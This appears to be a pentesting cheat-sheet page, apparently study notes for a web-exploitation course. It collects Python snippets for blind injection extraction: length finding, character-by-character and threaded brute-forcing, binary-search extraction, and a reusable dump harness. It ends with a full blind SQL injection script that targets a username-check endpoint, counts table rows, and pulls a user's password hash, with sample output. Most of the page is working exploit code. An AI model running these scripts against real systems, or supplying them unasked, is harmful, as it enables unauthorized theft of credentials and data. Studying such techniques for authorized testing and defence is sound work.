Skip to content

Blind

Find length (linear count-up)

Increments until the length predicate is true. Cheap for short values; binary search suits large blobs.

def get_length(s, expr):
    n = 0
    while True:
        print(f"\r[*] Testing length: {n}", end="", flush=True)
        if oracle(s, f"LENGTH({expr})={n}"):
            print(f"\r[+] Length: {n}   ")
            return n
        n += 1

Find by: blind, length, string-length, count, size, how long, linear, find length, number of chars · Source: CWEE/XPath, Blind SQLi

Char-by-char dump + live progress

The canonical linear dumper: for each position, the charset is walked until the equality predicate fires.

import string
charset = string.printable[:-5]   # printable minus whitespace tail

def dump(s, expr, length):
    out = ""
    for pos in range(1, length + 1):
        for ch in charset:
            cond = f"SUBSTRING({expr},{pos},1)='{ch}'"
            if oracle(s, cond):
                out += ch
                print(f"\r[+] {out}", end="", flush=True)
                break
    print()
    return out

Find by: blind, dump, extract, char by char, bruteforce, substring, exfiltrate, password, flag, live progress, carriage return · Source: CWEE/Blind SQLi

Threaded char bruteforce (ThreadPoolExecutor)

The whole charset for one position is fired in parallel; the first hit wins. Much faster than linear.

from concurrent.futures import ThreadPoolExecutor, as_completed
import string
charset = string.printable[:-5]

def test_char(s, expr, pos, ch):
    cond = f"SUBSTRING({expr},{pos},1)='{ch}'"
    return ch if oracle(s, cond) else None

def dump_threaded(s, expr, length, workers=10):
    out = ""
    for pos in range(1, length + 1):
        found = None
        with ThreadPoolExecutor(max_workers=workers) as ex:
            futs = {ex.submit(test_char, s, expr, pos, c): c for c in charset}
            for fut in as_completed(futs):
                if fut.result():
                    found = fut.result()
                    break
        if not found:
            break
        out += found
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Find by: threaded, concurrent, threadpoolexecutor, as_completed, fast, parallel, speed up blind, futures, workers, race the charset · Source: CWEE/SSJI threaded

Binary-search char extraction (OPTIMISED ~7 req/char)

Linear extraction tests up to ~95 printable chars per position; binary search instead asks “is this byte greater than the midpoint?” and halves the range each time — about 7 requests per character regardless of charset size. The trade-off: it requires an oracle that supports a greater-than comparison (ASCII(...) > mid), not just equality. On a slow target that is the difference between minutes and seconds.

 comparisons: ~7 requests/char vs up to ~95 linear. Needs a greater-than oracle.">
def get_char(s, expr, pos, lo=32, hi=126):
    """~log2(hi-lo) requests per char. Oracle answers 'ASCII(char) > mid'."""
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(s, f"ASCII(SUBSTRING({expr},{pos},1)) > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def dump_binsearch(s, expr, length):
    out = ""
    for pos in range(1, length + 1):
        out += get_char(s, expr, pos)
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Find by: binary search, optimised, fast blind, bisection, fewer requests, ascii, greater than, log2, efficient, speed, reduce requests

Reusable blind-dump harness (wire 3 lambdas)

Avoids rewriting length+dump per target. Binding 3 closures (oracle, length cond, char cond) enables reuse across SQLi/XPath/LDAP/NoSQL.

The length-finder and char-dumper are identical across SQLi, XPath, LDAP and NoSQL — only the injected condition strings differ. Binding those three differences as closures makes the engine reusable: oracle runs the request and returns true/false, len_cond builds the “length == n” condition, char_cond builds the “char at position p == ch” condition. The linear char loop can be swapped for the binary-search primitive when the value is long.

import string

def blind_dump(oracle, len_cond, char_cond, charset=string.printable[:-5], max_len=64):
    """
    oracle(cond:str) -> bool          True when injected condition is TRUE
    len_cond(n:int)  -> str           condition true when length == n
    char_cond(pos,ch)-> str           condition true when char@pos == ch (1-indexed)
    """
    length = 0
    while not oracle(len_cond(length)):
        length += 1
        if length > max_len:
            raise RuntimeError("length exceeded max_len")
    out = ""
    for pos in range(1, length + 1):
        for ch in charset:
            if oracle(char_cond(pos, ch)):
                out += ch
                print(f"\r[+] {out}", end="", flush=True)
                break
    print()
    return out

# --- wiring example (SQLi) ---
# expr = "(SELECT password FROM users WHERE username='maria')"
# orc  = lambda c: "available" not in s.get(CHECK_URL, params={"u": f"maria' AND ({c}) -- -"}, verify=False).text
# lc   = lambda n: f"LENGTH({expr})={n}"
# cc   = lambda p, ch: f"SUBSTRING({expr},{p},1)='{ch}'"
# print(blind_dump(orc, lc, cc))

Find by: harness, reusable, generic, DRY, framework, dump engine, lambda, plug in oracle, any injection, template, one engine

Blind extraction: row count, binary-search length, char dump

Canonical blind chain: a marker-string oracle drives row count, binary-searched length, and per-character extraction.

This is the canonical blind-extraction chain. oracle injects <known_user>' AND (<condition>) -- -: the AND keeps the seed row only when the condition is TRUE, and the app prints the marker FALSE_STRING (here available) precisely when the row vanishes, so FALSE_STRING not in r.text yields the boolean. On top of that single oracle, count_rows walks (SELECT COUNT(*) FROM <table>) = n to size a table, find_length binary-searches LENGTH(expr) > mid in about log2(cap) requests instead of incrementing, and dump recovers each character by binary-searching ASCII(SUBSTRING(expr,i,1)) > mid over printable ASCII (32-126) – seven requests per character rather than up to ninety-five. Both searches converge lo to the first value where the > predicate turns false, which is the exact length or code point. For T-SQL targets swap LENGTH for LEN; ASCII and SUBSTRING are shared across MySQL and MSSQL.

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

s = requests.Session()
CHECK_URL = "https://target/api/check-username.php"
FALSE_STRING = "available"   # text shown ONLY when the seed row is gone -> FALSE
KNOWN_USER = "maria"

def oracle(condition):
    # AND keeps the seed row only when <condition> is TRUE; when the row
    # disappears the app reports the username as available -> FALSE.
    params = {"u": f"{KNOWN_USER}' AND ({condition}) -- -"}
    r = s.get(CHECK_URL, params=params, verify=False)  # proxies=PROXIES to inspect
    return FALSE_STRING not in r.text

def count_rows(table):
    n = 0
    while not oracle(f"(SELECT COUNT(*) FROM {table}) = {n}"):
        n += 1
    print(f"[+] {table} has {n} rows")
    return n

def find_length(expr, cap=64):
    lo, hi = 0, cap                      # binary search: ~log2(cap) requests
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(f"LENGTH({expr}) > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    print(f"[+] LENGTH({expr}) = {lo}")
    return lo

def dump(expr):
    out = ""
    for i in range(1, find_length(expr) + 1):
        lo, hi = 32, 126                 # printable ASCII, binary searched per char
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle(f"ASCII(SUBSTRING({expr},{i},1)) > {mid}"):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        print(f"\r[*] {expr}: {out}", end="", flush=True)
    print(f"\n[+] {expr} = {out}")
    return out

# dump("password")   # extract the seed user's password hash

Length then progressive dump

[+] users has 3 rows
[+] LENGTH(password) = 32
[*] password: 9c6f8704f305b22c538c14207650ccda
[+] password = 9c6f8704f305b22c538c14207650ccda

Find by: blind sqli, char-by-char, ASCII SUBSTRING, row count, length, binary search, dump password, exfiltration · Source: CWEE/Blind SQLi count rows + length and dump